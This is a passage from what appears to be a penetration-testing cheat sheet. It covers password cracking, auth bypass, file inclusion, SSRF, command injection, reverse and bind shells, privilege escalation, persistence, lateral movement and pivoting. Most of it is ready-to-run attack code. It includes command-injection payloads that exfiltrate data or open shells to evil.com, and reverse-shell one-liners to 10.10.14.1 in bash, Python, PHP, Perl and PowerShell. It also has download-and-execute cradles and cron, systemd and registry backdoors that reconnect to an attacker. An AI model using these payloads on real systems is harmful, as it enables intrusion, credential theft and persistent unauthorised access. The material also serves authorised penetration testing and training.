wordlist1.txt wordlist2.txt\n\n# Mask attack (brute force)\nhashcat -a 3 -m 0 hash.txt ?l?l?l?l?l?l?l?l\n\n# Hybrid wordlist + mask\nhashcat -a 6 -m 0 hash.txt rockyou.txt ?d?d?d\n\n# Hybrid mask + wordlist\nhashcat -a 7 -m 0 hash.txt ?d?d?d rockyou.txt\n\n# Rule-based\nhashcat -a 0 -m 0 hash.txt rockyou.txt -r best64.rule\n```\n\n#### Rules and Masks\n```bash\n# Common masks\n?l = lowercase (a-z)\n?u = uppercase (A-Z)\n?d = digits (0-9)\n?s = special (!@#$%^&*)\n?a = all (l,u,d,s)\n?b = binary (0x00-0xff)\n\n# Examples\n?l?l?l?l?l = 5 lowercase\n?u?l?l?l?d?d = Capital + 3 lowercase + 2 digits\n?d?d?d?d?d?d = 6 digits\n?a?a?a?a?a?a = 6 any characters\n\n# Built-in rules\n/usr/share/hashcat/rules/best64.rule\n/usr/share/hashcat/rules/d3ad0ne.rule\n/usr/share/hashcat/rules/OneRuleToRuleThemAll.rule\n```\n\n### John the Ripper\n\n```bash\n# Basic crack\njohn --wordlist=rockyou.txt hash.txt\n\n# With format\njohn --format=raw-md5 --wordlist=rockyou.txt hash.txt\n\n# Show results\njohn --show hash.txt\n\n# Single crack mode\njohn --single hash.txt\n\n# Incremental (brute force)\njohn --incremental hash.txt\n\n# Rules\njohn --wordlist=rockyou.txt --rules hash.txt\n\n# Shadow file\nunshadow passwd shadow > combined.txt\njohn --wordlist=rockyou.txt combined.txt\n\n# SSH private key\nssh2john id_rsa > id_rsa.hash\njohn --wordlist=rockyou.txt id_rsa.hash\n```\n\n### Authentication Bypass Techniques\n\n#### SQL Injection Bypass\n```sql\nadmin' --\nadmin' #\nadmin'/*\n' or 1=1--\n' or 1=1#\n' or 1=1/*\n') or '1'='1--\n') or ('1'='1--\n' UNION SELECT 1,'admin','password'--\n' UNION SELECT NULL,NULL,NULL--\n```\n\n#### Parameter Tampering\n```http\n# Change user ID\nGET /profile?user_id=1\nGET /profile?user_id=2\n\n# Change role parameter\nPOST /admin\nrole=user \u2192 role=admin\n\n# Boolean parameters\nisAdmin=false \u2192 isAdmin=true\nadmin=0 \u2192 admin=1\n\n# Array parameters\nuser_ids[]=1 \u2192 user_ids[]=2\n```\n\n#### JWT Attacks\n```bash\n# Decode JWT\necho \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\" | base64 -d\n\n# JWT tool\njwt_tool token.jwt -T\n\n# Change algorithm to none\njwt_tool token.jwt -X a\n\n# Brute force secret\njwt_tool token.jwt -C -d rockyou.txt\n\n# Kid injection\njwt_tool token.jwt -I -hc kid -hv \"../../../dev/null\"\n```\n\n#### OAuth Misconfiguration\n```http\n# Redirect URI manipulation\nhttps://target.com/oauth/callback?code=xxx&state=yyy\nhttps://evil.com/oauth/callback?code=xxx&state=yyy\n\n# CSRF on OAuth\n\n\n# Scope escalation\nscope=read \u2192 scope=read+write\n```\n\n#### Session Fixation\n```http\n# Set session before login\nGET /login?PHPSESSID=attacker_session\n\n# After login, same session ID is authenticated\nGET /profile HTTP/1.1\nCookie: PHPSESSID=attacker_session\n```\n\n#### 2FA Bypass\n```http\n# Response manipulation\nHTTP/1.1 302 Found\nLocation: /2fa\n\n# Change to:\nHTTP/1.1 302 Found\nLocation: /dashboard\n\n# Parameter tampering\n2fa=123456 \u2192 2fa=000000\n\n# Null parameter\n2fa=123456 \u2192 2fa=\n\n# OTP reuse\n```\n\n---\n\n## File Inclusion Vulnerabilities\n\n### Local File Inclusion (LFI)\n\n#### Basic LFI\n```http\n# Directory traversal\nhttps://target.com/page?file=../../etc/passwd\nhttps://target.com/page?file=..\\..\\..\\windows\\win.ini\n\n# URL encoded\nhttps://target.com/page?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd\nhttps://target.com/page?file=..%252f..%252fetc%252fpasswd\n\n# Double encoding\nhttps://target.com/page?file=%25%32%65%25%32%65%25%32%66etc%25%32%66passwd\n```\n\n#### LFI with Null Byte (PHP < 5.3)\n```http\nhttps://target.com/page?file=../../etc/passwd%00\nhttps://target.com/page?file=../../etc/passwd%00.php\n```\n\n#### LFI with Path Truncation\n```http\nhttps://target.com/page?file=../../../../etc/passwd......................\nhttps://target.com/page?file=../../../../etc/passwd////////////////////\n```\n\n#### LFI Wrappers\n```php\n# PHP filter wrapper (read source)\nhttps://target.com/page?file=php://filter/convert.base64-encode/resource=index.php\nhttps://target.com/page?file=php://filter/convert.base64-encode/resource=../../../../etc/passwd\n\n# PHP input wrapper (execute code)\nPOST /page?file=php://input HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\n\n\n# PHP expect wrapper (if enabled)\nhttps://target.com/page?file=expect://id\n\n# Data wrapper\nhttps://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+\n\n# File wrapper\nhttps://target.com/page?file=file:///etc/passwd\n\n# Zip wrapper\nhttps://target.com/page?file=zip://shell.jpg#shell.php\n```\n\n### Remote File Inclusion (RFI)\n\n```http\n# Basic RFI\nhttps://target.com/page?file=http://evil.com/shell.txt\nhttps://target.com/page?file=https://evil.com/shell.php\nhttps://target.com/page?file=ftp://evil.com/shell.txt\n\n# With URL encoding\nhttps://target.com/page?file=http%3A%2F%2Fevil.com%2Fshell.txt\n\n# PHP wrapper\nhttps://target.com/page?file=php://filter/convert.base64-encode/resource=http://evil.com/shell.php\n```\n\n### Log Poisoning\n\n```bash\n# Apache access log poisoning\n# Inject PHP code in User-Agent\ncurl -A \"\" https://target.com\n\n# Then include log file\nhttps://target.com/page?file=/var/log/apache2/access.log\n\n# SSH log poisoning\nssh ''@target.com\nhttps://target.com/page?file=/var/log/auth.log\n\n# Mail log poisoning\ntelnet target.com 25\nMAIL FROM: \nRCPT TO: victim@localhost\nDATA\nSubject: test\ntest\n.\n\nhttps://target.com/page?file=/var/log/mail.log\n```\n\n### LFI to RCE\n\n```bash\n# Proc self/environ poisoning\ncurl -H \"User-Agent: \" https://target.com\nhttps://target.com/page?file=/proc/self/environ\n\n# Session file poisoning\n# First, set session variable\nhttps://target.com/page?file=\n# Then include session file\nhttps://target.com/page?file=/var/lib/php/sessions/sess_\n\n# Temp file upload (race condition)\n# Upload file, then include before cleanup\nhttps://target.com/page?file=/tmp/php\n```\n\n### LFI Discovery Wordlist\n```bash\n# Common LFI files\n/etc/passwd\n/etc/shadow\n/etc/hosts\n/etc/apache2/apache2.conf\n/etc/nginx/nginx.conf\n/var/log/apache2/access.log\n/var/log/nginx/access.log\n/var/log/auth.log\n/var/log/mail.log\n/proc/self/environ\n/proc/self/cmdline\n/proc/self/fd/0\n/proc/self/fd/1\n/proc/self/fd/2\nC:\\boot.ini\nC:\\windows\\win.ini\nC:\\windows\\system32\\drivers\\etc\\hosts\n```\n\n---\n\n## Server-Side Request Forgery (SSRF)\n\n### Basic SSRF\n\n```http\n# Localhost access\nhttps://target.com/fetch?url=http://127.0.0.1/\nhttps://target.com/fetch?url=http://localhost/\nhttps://target.com/fetch?url=http://[::1]/\nhttps://target.com/fetch?url=http://0.0.0.0/\n\n# Decimal IP\nhttps://target.com/fetch?url=http://2130706433/ (127.0.0.1)\nhttps://target.com/fetch?url=http://3232235521/ (192.168.0.1)\n\n# Octal IP\nhttps://target.com/fetch?url=http://0177.0.0.1/\nhttps://target.com/fetch?url=http://0x7f.0x0.0x0.0x1/\n\n# Domain tricks\nhttps://target.com/fetch?url=http://localhost.127.0.0.1.nip.io/\nhttps://target.com/fetch?url=http://127.0.0.1.xip.io/\n```\n\n### Cloud Metadata SSRF\n\n```bash\n# AWS metadata\nhttps://target.com/fetch?url=http://169.254.169.254/latest/meta-data/\nhttps://target.com/fetch?url=http://169.254.169.254/latest/user-data/\nhttps://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/\n\n# GCP metadata\nhttps://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/\nhttps://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token\n-H \"Metadata-Flavor: Google\"\n\n# Azure metadata\nhttps://target.com/fetch?url=http://169.254.169.254/metadata/instance?api-version=2017-08-01\n-H \"Metadata: true\"\n\n# Digital Ocean metadata\nhttps://target.com/fetch?url=http://169.254.169.254/metadata/v1.json\n```\n\n### Internal Network Scanning\n\n```bash\n# Port scan with SSRF\nfor port in {1..1024}; do\n    curl -s \"https://target.com/fetch?url=http://192.168.1.1:$port\" \\\n        | grep -q \"Connection refused\" || echo \"Port $port open\"\ndone\n\n# Discover internal IP ranges\nfor ip in {1..254}; do\n    curl -s \"https://target.com/fetch?url=http://10.0.0.$ip:80\" \\\n        -m 1 | grep -q \"Connection refused\" || echo \"10.0.0.$ip alive\"\ndone\n```\n\n### SSRF Bypass Techniques\n\n```bash\n# URL encoding\nhttps://target.com/fetch?url=http://%31%32%37%2E%30%2E%30%2E%31/\n\n# Double URL encoding\nhttps://target.com/fetch?url=http://%2531%2532%2537%252E%2530%252E%2530%252E%2531/\n\n# Redirect bypass\n# First, set up redirector\nhttps://evil.com/redirect?url=http://127.0.0.1:80\n# Then SSRF to redirector\nhttps://target.com/fetch?url=http://evil.com/redirect\n\n# DNS rebinding\n# Use dnsrebinder.net\nhttps://target.com/fetch?url=http://127.0.0.1.dnsrebinder.net\n\n# IPv6 bypass\nhttps://target.com/fetch?url=http://[::1]:80/\nhttps://target.com/fetch?url=http://[::ffff:7f00:0001]/\n\n# Alternative localhost representations\n127.0.0.0\n127.127.127.127\n127.0.1.3\n2130706433\n0x7f000001\n0177.0.0.1\n```\n\n### SSRF to RCE\n\n```bash\n# Internal Redis\nhttps://target.com/fetch?url=gopher://127.0.0.1:6379/_*2%0d%0a$4%0d%0aINFO%0d%0a\n\n# Internal Memcached\nhttps://target.com/fetch?url=gopher://127.0.0.1:11211/_stats\n\n# Internal MySQL\nhttps://target.com/fetch?url=mysql://127.0.0.1:3306/\n\n# Internal Elasticsearch\nhttps://target.com/fetch?url=http://127.0.0.1:9200/_cat/indices\n\n# Internal MongoDB\nhttps://target.com/fetch?url=mongodb://127.0.0.1:27017/\n```\n\n### SSRF with Different Protocols\n\n```bash\n# File protocol\nhttps://target.com/fetch?url=file:///etc/passwd\n\n# Dict protocol\nhttps://target.com/fetch?url=dict://127.0.0.1:3306/info\n\n# Gopher protocol\nhttps://target.com/fetch?url=gopher://127.0.0.1:8080/_GET%20/HTTP/1.0%0a%0a\n\n# FTP protocol\nhttps://target.com/fetch?url=ftp://anonymous:anonymous@127.0.0.1:21/\n\n# SFTP protocol\nhttps://target.com/fetch?url=sftp://user:pass@127.0.0.1:22/\n\n# TFTP protocol\nhttps://target.com/fetch?url=tftp://127.0.0.1:69/test\n```\n\n---\n\n## Command Injection\n\n### Basic Command Injection\n\n```bash\n# Command separators\n; id\n| id\n|| id\n& id\n&& id\n`id`\n$(id)\n\n# URL encoded\n%3Bid\n%7Cid\n%26%26id\n\n# Newline encoded\n%0aid\n```\n\n### Blind Command Injection\n\n```bash\n# Time-based\n; sleep 5\n| sleep 5\n& ping -c 10 127.0.0.1\n&& sleep 5\n\n# Output-based (if output is not returned)\n; wget http://evil.com/`whoami`\n| curl http://evil.com/$(id)\n& nslookup `hostname`.evil.com\n```\n\n### Command Injection Payloads\n\n```bash\n# Linux\n; id\n| id\n|| id\n& id\n&& id\n`id`\n$(id)\n; cat /etc/passwd\n| nc -e /bin/sh evil.com 4444\n& bash -i >& /dev/tcp/evil.com/4444 0>&1\n`wget http://evil.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh`\n\n# Windows\n& whoami\n| dir\n& ping -n 5 127.0.0.1\n& powershell -c \"Invoke-WebRequest -Uri http://evil.com/shell.exe -OutFile C:\\shell.exe\"\n```\n\n### Command Injection Bypass\n\n```bash\n# Space bypass\n${IFS}id\n{cat,/etc/passwd}\ncat${IFS}/etc/passwd\ncat< /etc/passwd\ncat>/etc/passwd\n\n# Character blacklist bypass\nc\\a\\t /etc/passwd\ncat /etc/pa??wd\ncat /etc/pass*\ncat /e'tc'/pa'ss'wd\necho \"Y2F0IC9ldGMvcGFzc3dk\" | base64 -d | bash\n\n# Command substitution\na=id; $a\nb=cat; $b /etc/passwd\nc=\"whoami\"; eval $c\n\n# Wildcards\n/???/?at /???/pass?? (cat /etc/passwd)\n/???/n? -e /???/pass?? (nc -e /bin/sh)\n```\n\n### Environment Variable Injection\n\n```bash\n# PATH manipulation\nPATH=/tmp:$PATH evil_binary\n\n# LD_PRELOAD injection\nLD_PRELOAD=/tmp/malicious.so vulnerable_binary\n\n# IFS injection\nIFS=,;`cat<<\" https://api.target.com/users\n\n# API key\ncurl -H \"X-API-Key: 123456\" https://api.target.com/users\ncurl \"https://api.target.com/users?api_key=123456\"\n\n# Basic auth\ncurl -u username:password https://api.target.com/users\n\n# OAuth2\ncurl -H \"Authorization: Bearer \" https://api.target.com/users\n```\n\n#### Parameter Fuzzing\n```bash\n# IDOR testing\ncurl https://api.target.com/users/1\ncurl https://api.target.com/users/2\ncurl https://api.target.com/users/1000\n\n# Parameter pollution\ncurl \"https://api.target.com/search?q=test&q=admin\"\n\n# JSON injection\ncurl -X POST https://api.target.com/users \\\n     -H \"Content-Type: application/json\" \\\n     -d '{\"name\":\"test\",\"role\":\"admin\"}'\n\n# Mass assignment\ncurl -X PUT https://api.target.com/users/1 \\\n     -H \"Content-Type: application/json\" \\\n     -d '{\"name\":\"test\",\"isAdmin\":true,\"balance\":999999}'\n```\n\n### GraphQL Testing\n\n#### Introspection\n```graphql\n# Get all types\n{\n  __schema {\n    types {\n      name\n      fields {\n        name\n        type {\n          name\n          kind\n        }\n      }\n    }\n  }\n}\n\n# Get queries\n{\n  __schema {\n    queryType {\n      fields {\n        name\n        args {\n          name\n          type {\n            name\n            kind\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n#### Query Examples\n```graphql\n# Basic query\n{\n  user(id: 1) {\n    name\n    email\n    posts {\n      title\n    }\n  }\n}\n\n# Mutation\nmutation {\n  createUser(input: {name: \"test\", email: \"test@test.com\"}) {\n    id\n    name\n  }\n}\n\n# Fragments\nfragment UserFields on User {\n  id\n  name\n  email\n}\n\nquery {\n  user(id: 1) {\n    ...UserFields\n  }\n}\n\n# Aliases\n{\n  user1: user(id: 1) {\n    name\n  }\n  user2: user(id: 2) {\n    name\n  }\n}\n```\n\n#### GraphQL Attacks\n```graphql\n# Deep nested query (DoS)\nquery {\n  user(id: 1) {\n    posts {\n      comments {\n        user {\n          posts {\n            comments {\n              user {\n                posts {\n                  title\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n\n# Alias-based attack\nquery {\n  a: user(id: 1) { name }\n  b: user(id: 1) { name }\n  c: user(id: 1) { name }\n  # ... repeated many times\n}\n\n# Introspection abuse\nquery {\n  __schema {\n    types {\n      name\n      fields {\n        name\n        type {\n          name\n          fields {\n            name\n            type {\n              name\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n### API Security Tools\n\n#### Postman/Newman\n```bash\n# Run collections\nnewman run collection.json -e environment.json\n\n# With data\nnewman run collection.json -d data.csv\n\n# HTML report\nnewman run collection.json -r htmlextra\n```\n\n#### OWASP ZAP API Scan\n```bash\n# API scan\nzap-api-scan.py -t https://target.com/swagger.json -f openapi\n\n# Active scan\nzap-api-scan.py -t https://target.com/swagger.json -f openapi -a\n```\n\n#### Kiterunner\n```bash\n# API endpoint discovery\nkr scan https://target.com -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt\n\n# Bruteforce with wordlist\nkr brute https://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt\n```\n\n---\n\n## SSL/TLS Security\n\n### SSL/TLS Scanning\n\n#### testssl.sh\n```bash\n# Basic scan\n./testssl.sh https://target.com\n\n# JSON output\n./testssl.sh --jsonfile results.json https://target.com\n\n# HTML report\n./testssl.sh --htmlfile report.html https://target.com\n\n# Check specific vulnerabilities\n./testssl.sh --heartbleed https://target.com\n./testssl.sh --poodle https://target.com\n./testssl.sh --freak https://target.com\n./testssl.sh --logjam https://target.com\n./testssl.sh --crime https://target.com\n./testssl.sh --breach https://target.com\n```\n\n#### sslyze\n```bash\n# Basic scan\nsslyze target.com\n\n# Check certificates\nsslyze --certinfo target.com\n\n# Check protocols\nsslyze --tlsv1 --tlsv1_1 --tlsv1_2 --tlsv1_3 target.com\n\n# Check vulnerabilities\nsslyze --heartbleed --robot --fallback target.com\n\n# JSON output\nsslyze --json_out=results.json target.com\n```\n\n#### sslscan\n```bash\n# Basic scan\nsslscan target.com:443\n\n# Show certificate\nsslscan --show-certificate target.com\n\n# Check ciphers\nsslscan --no-ciphersuites target.com\n```\n\n### Manual SSL/TLS Checks\n\n```bash\n# OpenSSL connection\nopenssl s_client -connect target.com:443\nopenssl s_client -connect target.com:443 -tls1_2\nopenssl s_client -connect target.com:443 -cipher 'ECDHE-RSA-AES128-GCM-SHA256'\n\n# Certificate details\necho | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -text\n\n# Check expiration\necho | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -noout -dates\n\n# Check SAN\necho | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -noout -ext subjectAltName\n\n# Supported protocols\nnmap --script ssl-enum-ciphers -p 443 target.com\n```\n\n### Security Headers Check\n\n```bash\n# HSTS check\ncurl -sI https://target.com | grep -i \"strict-transport-security\"\n\n# CSP check\ncurl -sI https://target.com | grep -i \"content-security-policy\"\n\n# HPKP (deprecated)\ncurl -sI https://target.com | grep -i \"public-key-pins\"\n\n# Expect-CT\ncurl -sI https://target.com | grep -i \"expect-ct\"\n\n# Certificate Transparency\ncurl -s https://crt.sh/?q=target.com\n```\n\n### SSL/TLS Vulnerabilities\n\n```bash\n# Heartbleed (CVE-2014-0160)\nnmap -p 443 --script ssl-heartbleed target.com\n\n# POODLE (CVE-2014-3566)\nnmap -p 443 --script ssl-poodle target.com\n\n# FREAK (CVE-2015-0204)\nnmap -p 443 --script ssl-freak target.com\n\n# DROWN (CVE-2016-0800)\nnmap -p 443 --script ssl-drown target.com\n\n# ROBOT (CVE-2017-17382)\nnmap -p 443 --script ssl-robot target.com\n\n# BEAST (CVE-2011-3389)\n# Check if TLS 1.0 is enabled\n\n# CRIME (CVE-2012-4929)\n# Check compression\n\n# BREACH (CVE-2013-3587)\n# Check HTTP compression\n```\n\n---\n\n## Post-Exploitation\n\n### Reverse Shells\n\n#### Linux Reverse Shells\n```bash\n# Bash\nbash -i >& /dev/tcp/10.10.14.1/4444 0>&1\n\n# Python\npython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.1\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'\n\n# PHP\nphp -r '$s=fsockopen(\"10.10.14.1\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");'\n\n# Perl\nperl -e 'use Socket;$i=\"10.10.14.1\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'\n\n# Ruby\nruby -rsocket -e'f=TCPSocket.open(\"10.10.14.1\",4444).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'\n\n# Netcat\nnc -e /bin/sh 10.10.14.1 4444\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.1 4444 >/tmp/f\n\n# Telnet\nrm -f /tmp/p; mknod /tmp/p p && telnet 10.10.14.1 4444 0/tmp/p\n\n# XTerm\nxterm -display 10.10.14.1:1\n```\n\n#### Windows Reverse Shells\n```powershell\n# PowerShell\npowershell -NoP -NonI -W Hidden -Exec Bypass -Command \"IEX (New-Object System.Net.WebClient).DownloadString('http://10.10.14.1/ps.ps1')\"\n\n# PowerShell one-liner\npowershell -c \"$client = New-Object System.Net.Sockets.TCPClient('10.10.14.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"\n\n# Netcat\nnc.exe 10.10.14.1 4444 -e cmd.exe\n\n# msfvenom\nmsfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f exe -o shell.exe\n\n# VB Script\n# Create reverse shell VBS script\n```\n\n### Bind Shells\n\n```bash\n# Linux\nnc -lvnp 4444 -e /bin/sh\npython -c 'exec(\"import socket, subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1);s.bind((\\\"0.0.0.0\\\",4444));s.listen(1);c,a=s.accept();\\nwhile True: d=c.recv(1024); if len(d)==0: break; p=subprocess.Popen(d,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE); o=p.stdout.read()+p.stderr.read(); c.send(o)\")'\n\n# Windows\nnc.exe -lvnp 4444 -e cmd.exe\n```\n\n### TTY Upgrade\n\n```bash\n# Python\npython -c 'import pty; pty.spawn(\"/bin/bash\")'\npython3 -c 'import pty; pty.spawn(\"/bin/bash\")'\n\n# Script\nscript /dev/null -qc /bin/bash\n\n# Socat\nsocat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.1:4444\n\n# After getting shell, background (Ctrl+Z) and:\nstty raw -echo; fg\nexport TERM=xterm\nstty rows 40 cols 150\n```\n\n### Privilege Escalation\n\n#### Linux Enumeration\n```bash\n# System info\nuname -a\ncat /etc/os-release\ncat /etc/issue\nhostname\n\n# User info\nid\nwhoami\nsudo -l\ncat /etc/passwd\ncat /etc/shadow\nhistory\n\n# Process info\nps aux\nps -ef\ntop -n 1\n\n# Network info\nifconfig\nip a\nnetstat -an\nnetstat -tulpn\nss -tulpn\ncat /etc/hosts\n\n# File system\nfind / -perm -4000 2>/dev/null   # SUID\nfind / -perm -2000 2>/dev/null   # SGID\nfind / -writable -type f 2>/dev/null | grep -v proc\nfind / -name \"*.key\" -o -name \"*.pem\" -o -name \"*.crt\" 2>/dev/null\n\n# Cron jobs\ncat /etc/crontab\nls -la /etc/cron*\ngrep \"CRON\" /var/log/syslog\n\n# Installed software\ndpkg -l\nrpm -qa\npip list\ngem list\nnpm list -g\n\n# Environment variables\nenv\ncat ~/.bashrc\ncat ~/.bash_profile\n\n# Log files\ncat /var/log/auth.log\ncat /var/log/apache2/access.log\ncat /var/log/mysql/error.log\n\n# Config files\nfind / -name \"*.conf\" -o -name \"*.config\" 2>/dev/null\n```\n\n#### Linux Privilege Escalation Tools\n```bash\n# LinPEAS\ncurl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh\n\n# LinEnum\nwget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh\nchmod +x LinEnum.sh\n./LinEnum.sh\n\n# Linux Exploit Suggester\nwget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh\nchmod +x linux-exploit-suggester.sh\n./linux-exploit-suggester.sh\n\n# pspy (process monitor)\nwget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64\nchmod +x pspy64\n./pspy64\n```\n\n#### Windows Enumeration\n```powershell\n# System info\nsysteminfo\nwmic os get caption,version,buildnumber\nwmic computersystem get domain,manufacturer,model,name\n\n# User info\nwhoami\nwhoami /priv\nwhoami /groups\nnet users\nnet localgroup administrators\n\n# Process info\ntasklist /v\nwmic process list full\n\n# Network info\nipconfig /all\nnetstat -an\nroute print\narp -a\n\n# File system\ndir C:\\\ndir \"C:\\Program Files\"\ndir \"C:\\Program Files (x86)\"\ndir C:\\Users\ndir /s *.config\ndir /s *.kdbx\ndir /s *.key\n\n# Services\nwmic service list brief\nsc query\nnet start\n\n# Installed software\nwmic product get name,version,vendor\ndir \"C:\\Program Files\"\nGet-ChildItem -Path \"C:\\Program Files\" -Recurse\n\n# Scheduled tasks\nschtasks /query /fo LIST /v\nGet-ScheduledTask\n\n# Registry\nreg query HKLM /f \"password\" /t REG_SZ /s\nreg query HKCU /f \"password\" /t REG_SZ /s\nreg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\"\n```\n\n#### Windows Privilege Escalation Tools\n```powershell\n# WinPEAS\nwget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany.exe\n.\\winPEASany.exe\n\n# PowerUp\nIEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1')\nInvoke-AllChecks\n\n# Sherlock\nIEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')\nFind-AllVulns\n\n# Windows Exploit Suggester\nwget https://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-Suggester/master/windows-exploit-suggester.py\npython windows-exploit-suggester.py --database 2024-01-01-mssb.xls --systeminfo sysinfo.txt\n```\n\n### Persistence\n\n#### Linux Persistence\n```bash\n# SSH key\nmkdir -p ~/.ssh\necho \"ssh-rsa AAAAB3...\" >> ~/.ssh/authorized_keys\n\n# Cron job\necho \"* * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'\" > /tmp/cron\ncrontab /tmp/cron\n\n# Systemd service\ncat > /etc/systemd/system/persistence.service << EOF\n[Unit]\nDescription=Persistence\n\n[Service]\nType=simple\nExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'\nRestart=always\n\n[Install]\nWantedBy=multi-user.target\nEOF\n\nsystemctl enable persistence.service\nsystemctl start persistence.service\n\n# .bashrc\necho 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1 &' >> ~/.bashrc\n\n# Web shell\necho '' > /var/www/html/shell.php\n```\n\n#### Windows Persistence\n```powershell\n# Registry\nNew-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \"Backdoor\" -Value \"C:\\shell.exe\"\n\n# Scheduled task\nschtasks /create /tn \"Backdoor\" /tr \"C:\\shell.exe\" /sc onlogon /ru SYSTEM\n\n# Startup folder\ncopy shell.exe \"C:\\Users\\%username%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\\"\n\n# WMI persistence\n$filter = ([wmiclass]\"\\\\.\\root\\subscription:__EventFilter\").CreateInstance()\n$filter.QueryLanguage = \"WQL\"\n$filter.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\"\n$filter.Name = \"Backdoor\"\n$filter.EventNamespace = 'root\\cimv2'\n$result = $filter.Put()\n\n$consumer = ([wmiclass]\"\\\\.\\root\\subscription:CommandLineEventConsumer\").CreateInstance()\n$consumer.Name = 'BackdoorConsumer'\n$consumer.CommandLineTemplate = \"C:\\shell.exe\"\n$result = $consumer.Put()\n\n# Service\nsc.exe create Backdoor binPath= \"C:\\shell.exe\" start= auto\nsc.exe start Backdoor\n```\n\n### Lateral Movement\n\n#### SSH\n```bash\n# SSH key stealing\nfind / -name \"id_rsa\" 2>/dev/null\ncat ~/.ssh/id_rsa\n\n# SSH agent forwarding\nssh -A user@target.com\n\n# SSH tunneling\nssh -L 8080:localhost:80 user@target.com    # Local forward\nssh -R 8080:localhost:80 user@target.com    # Remote forward\nssh -D 1080 user@target.com                  # Dynamic proxy\n```\n\n#### Windows Lateral Movement\n```powershell\n# PSExec\n.\\PsExec.exe \\\\target -u user -p pass cmd.exe\n\n# WinRM\nEnter-PSSession -ComputerName target -Credential $cred\nInvoke-Command -ComputerName target -ScriptBlock {whoami} -Credential $cred\n\n# WMI\nwmic /node:target /user:user /password:pass process call create \"cmd.exe\"\n\n# SMB\nnet use \\\\target\\c$ /user:user pass\ncopy shell.exe \\\\target\\c$\\Windows\\Temp\\\n```\n\n### Pivoting\n\n#### SSH Pivoting\n```bash\n# Local port forwarding\nssh -L 8080:internal-server:80 user@pivot-host\n\n# Remote port forwarding\nssh -R 8080:localhost:80 user@pivot-host\n\n# Dynamic SOCKS proxy\nssh -D 1080 user@pivot-host\n\n# SSH tunneling with ProxyCommand\nssh -o ProxyCommand=\"ssh -W %h:%p user@pivot-host\" target\n```\n\n#### SOCKS Proxies\n```bash\n# Using proxychains\necho \"socks4 127.0.0.1 1080\" >> /etc/proxychains.conf\nproxychains nmap -sT -Pn target\n\n# Using chisel\n# Server (attacker)\n./chisel server -p 8000 --reverse\n# Client (pivot)\n./chisel client attacker:8000 R:socks\n\n# Using EarthWorm\n./ew -s ssocksd -l 1080\n```\n\n#### Port Forwarding\n```bash\n# Linux\n# SSH forwarding\nssh -L 8080:localhost:80 user@pivot\n\n# Netcat forwarding\nmkfifo /tmp/fifo\nnc -l -p 8080 < /tmp/fifo | nc target 80 > /tmp/fifo\n\n# Socat 